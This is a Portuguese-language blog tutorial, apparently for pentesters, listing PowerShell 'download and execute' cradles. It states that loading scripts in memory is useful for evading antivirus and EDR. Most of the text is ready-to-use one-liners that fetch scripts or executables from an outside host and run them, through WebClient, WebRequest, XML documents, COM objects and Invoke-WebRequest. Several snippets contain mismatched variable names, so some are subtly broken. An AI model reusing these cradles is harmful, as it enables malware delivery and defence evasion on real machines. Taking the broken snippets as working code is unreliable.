Powershell Download & Execute

Powershell Download & Execute

Já precisou realizar o download de algum arquivo em Powershell e teve dificuldades? Este tutorial visa fornecer métodos simples e rápidos de realizar download utilizando Powershell e como carregar scripts Powershell em memória.

O Powershell é uma ferramenta poderosa usada por muitos administradores de sistemas para automatizar tarefas e gerenciar sistemas Windows. Porém, a mesma funcionalidade que torna o Powershell tão útil também pode ser explorada por criminosos cibernéticos. Uma técnica que tem sido usada com frequência é o carregamento de script em memória, que envolve o download de um script malicioso e sua execução em um sistema comprometido.

Carregar script .ps1 em memória

Primeiramente vamos ver alguns métodos para carregar scripts .ps1 em memória. Esta técnica é extremamente útil quando estamos lidando com algum antivírus ou EDR durante nosso pentest.

WebClient.DownloadString

Utilização básica

iex (new-object Net.Webclient).DownloadString("http://192.168.13.37/script.ps1")
powershell.exe iex (new-object Net.Webclient).DownloadString('http://192.168.13.37//script.ps1')

Adicionando User Agent na request

$cli= New-Object System.Net.WebClient; $cli.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36"); $file = "http://192.168.13.37/script.ps1"; $cmd= $cli.DownloadString($payload); iex $cmd

Net.WebRequest

$req = [System.Net.WebRequest]::Create("http://192.168.13.37/script.ps1"); $res = $req.GetResponse(); iex ([System.IO.StreamReader] ($res.GetResponseStream())).ReadToEnd()

System.Xml.XmlDocument

Para utilizar este método se faz necessário um arquivo XML com o comando a ser executado. Neste caso estamos executando o comando $env:computername, que retorna o hostname da máquina:

<command>
<cmd>
<execute>$env:computername</execute>
</cmd>
</command>

Em seguida, basta executar o comando abaixo na máquina Windows:

$remotexml = New-Object System.Xml.XmlDocument;$remotexml.Load("http://192.168.13.37/arquivo.xml");iex $remotexml.command.cmd.execute

Msxml2.XMLHTTP

$req = New-Object -ComObject Msxml2.XMLHTTP;$downloader.open("GET", "http://192.168.13.37/script.ps1", $false);$req.send();iex $req.responseText

WinHttp.WinHttpRequest.5.1

$req = New-Object -ComObject WinHTttp.WinHttpRequest.5.1; $req.open("GET", "http://192.168.0.96/script.ps1", $false); $req.send(); iex $downloader.responseText

Realizar Download para o disco

Os métodos abaixo realizam o download do arquivo/script desejado para o disco e em seguida executam o mesmo:

System.Net.Webclient DownloadFile

(new-object System.Net.Webclient).DownloadFile("http://192.168.13.37/script.ps1", "script.ps1"); .\script.ps1
$cli = New-Object System.Net.WebClient;$payload = "https://192.168.0.96/arquivo.exe";$out = "C:\windows\temp\arquivo.exe";$cmd = $cli.DownloadFile($payload, $file);& $file

Invoke-WebRequest

Invoke-WebRequest -Uri http://192.168.13.37/script.ps1 -OutFile script.ps1; .\script.ps1

Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !

Posts relacionados

Utilizando clientes RDP no Linux

Utilizando clientes RDP no Linux

Já precisou se conectar em um servidor Windows via Remote Desktop Protocol (RDP) através do Linux e teve dificuldades?

Ler post completo
Do IIS User ao SYSTEM: Escalação de Privilégio Windows

Do IIS User ao SYSTEM: Escalação de Privilégio Windows

Neste post será demonstrado como escalar privilégios no IIS com Juicy Potato (MS16-075): Um exemplo de como uma má configuração pode levar ao comprometimento total de um Webserver.

Ler post completo
O comando curl

O comando curl

O curl é uma ferramenta para transferir ou receber dados de um servidor.

Ler post completo